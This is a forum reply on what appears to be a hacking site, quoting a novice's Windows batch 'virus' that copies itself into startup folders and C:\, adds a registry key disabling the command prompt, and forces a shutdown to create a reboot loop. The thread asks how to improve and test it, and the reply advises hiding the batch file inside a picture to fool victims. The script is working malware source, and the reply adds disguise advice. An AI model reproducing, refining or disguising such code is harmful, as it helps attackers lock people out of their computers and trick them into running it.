RE: Batch "Virus" 05-23-2014, 03:24 PM
#9
(05-22-2014, 10:07 PM)Fish Wrote: Hey guys, I was bored today in a free period and wrote this out. I'm pretty new to Batch, and I wanted to know your opinion.No one's going to actually fall for this, here's why:
Code:Title name @echo off copy E:\name11.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name11.bat C:\* reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f shutdown -s -t 10 -c "Bye-bye, %username%!" exit
Basically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.
I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
Code:echo "Bye-bye, %username%!" pause shutdown -s -t 00
What do you guys think?
Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.
Thanks in advance!
Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
??Code:if %ALLUSERSPROFILE%\Start Menu\Programs\Startup\name11.bat exists goto :XYZ
Thanks again!
Before you run the Batch file, it requires for you to provide administration rights to the file, usually by then people will have the right idea not to run it. My suggestion is (and I know you're new to Batch) to learn some cryptography and sorts so you can have the Batch file hidden in-say a picture, etc. :Smile:

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)